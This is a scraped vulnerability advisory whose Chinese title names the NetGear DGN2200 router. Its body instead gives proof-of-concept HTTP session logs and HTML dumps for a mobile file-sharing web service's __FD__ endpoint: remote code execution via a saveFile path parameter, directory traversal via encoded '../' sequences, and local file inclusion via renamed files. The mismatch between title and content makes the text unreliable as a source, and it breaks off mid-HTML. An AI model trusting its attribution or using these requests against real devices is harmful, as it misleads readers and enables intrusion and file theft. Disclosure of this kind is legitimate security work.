NetGear DGN2200 N300无线路由器多个漏洞

1.1 The remote code execution can be exploited by remote attackers without privileged web-application user account or user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below. --- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost:12345/__FD__?action=saveFile&path=[VULNERABLE CODE EXECUTION VALUE!] Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Gr��e des Inhalts[86] Mime Type[text/html] Request Header: Host[localhost:12345] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/json; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://localhost:12345/] Content-Length[14] Cookie[jtable%2376270709page-size=10] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: {"content":"&path=[VULNERABLE CODE EXECUTION VALUE!]"}[] Response Header: Accept-Ranges[bytes] Content-Length[86] Content-Type[text/html] Date[Tue, 11 Feb 2014 23:11:06 GMT] 1.2 The directory-traversal vulnerability can be exploited by remote attackers without user interaction or privileged web-application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below. PoC: http://localhost:12345/__FD__?action=folderContent&folder=%20%2F..%2F..%2F[DIRECTORY TRAVERSAL WEB VULNERABILITY!]&_dc=1392159953825 #{"msg":"","success":true,"data":[{"name":"%20%2F..%2F..%2F[DIRECTORY TRAVERSAL WEB VULNERABILITY!]","id":"/%20%2F..%2F..%2F[DIRECTORY TRAVERSAL WEB VULNERABILITY!]","type":"file", "size":24386,"changed":"2014-02-12 00:13:49","created":"2014-02-12 00:13:49"}]} --- PoC Session Logs [GET] --- Status: 200[OK] GET http://localhost:12345/__FD__?action=folderContent&folder=%20%2F..%2F..%2F[DIRECTORY TRAVERSAL WEB VULNERABILITY!]&_dc=1392159953825 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr��e des Inhalts[35] Mime Type[text/html] Request Header: Host[localhost:12345] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[jtable%2376270709page-size=10] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[35] Content-Type[text/html] Date[Tue, 11 Feb 2014 23:14:46 GMT] 1.3 The file include vulnerability can be exploited by remote attackers without user interaction or privileged web-application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below. PoC: <div class="x-grid-row-checker"> </div></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1015 "> <div class="x-grid-cell-inner " style="text-align: left; ;"><div style="position:relative;top:3px"> <img src="JoyfulPhone%C2%AE%20jDisk_file%20include_rename-Dateien/__FD__.txt" style="width:16px;height:16px;"><span style="position:absolute; padding-left: 5px; padding-top:0px">>"<[LOCAL FILE INCLUDE VULNERABILITY!].txt">[LOCAL FILE INCLUDE VULNERABILITY!].jpg</span></div></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1016 " ><div class="x-grid-cell-inner " style="text-align: left; ;">/</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1017 " ><div class="x-grid-cell-inner " style="text-align: right; ;">23.8 KB</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1018 " ><div class="x-grid-cell-inner " style="text-align: left; ;">2014-02-12 00:13:49</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1019 x-grid-cell-last" ><div class="x-grid-cell-inner " style="text-align: left; ;">2014-02-12 00:13:49</div></td></tr></tbody></table></iframe></span></div></div></td></tr></tbody></table></div> PoC: rename - text file <td style="width: 100%;" class="x-form-item-body " id="messagebox-1001-testfield-bodyEl" role="presentation" colspan="3"> <input value=">"<[LOCAL FILE INCLUDE VULNERABILITY!]>[LOCAL FILE INCLUDE VULNERABILITY!].jpg" data-errorqtip="" aria-invalid="false" id="messagebox-1001-testfield-inputEl" size="1" name="messagebox-1001-testfield-inputEl" style="width: 100%; -moz-user-select: text;" class="x-form-field x-form-text x-form-focus x-field-form-focus x-field-default-form-focus" autocomplete="off" type="text"></td></tr></tbody></table> <table id="messagebox-1001-textarea" class="x-field x-form-item x-field-default x-anchor-form-item" style="height: 75px; table-layout: fixed; width: 520px; display: none;" cellpadding="0"><tbody><tr id="messagebox-1001-textarea-inputRow"><td id="messagebox-1001-textarea-labelCell" style="display:none;" halign="left" class="x-field-label-cell" valign="top" width="105"><label id="messagebox-1001-textarea-labelEl" for="messagebox-1001-textarea-inputEl" class="x-form-item-label x-form-item-label-left" style="width:100px;margin-right:5px;"></label></td><td style="width: 100%;" class="x-form-item-body " id="messagebox-1001-textarea-bodyEl" role="presentation" colspan="3"><textarea data-errorqtip="" aria-invalid="false" id="messagebox-1001-textarea-inputEl" name="messagebox-1001-textarea-inputEl" rows="4" cols="20" class="x-form-field x-form-text" style="width: 100%; height: 75px; -moz-user-select: text;" autocomplete="off">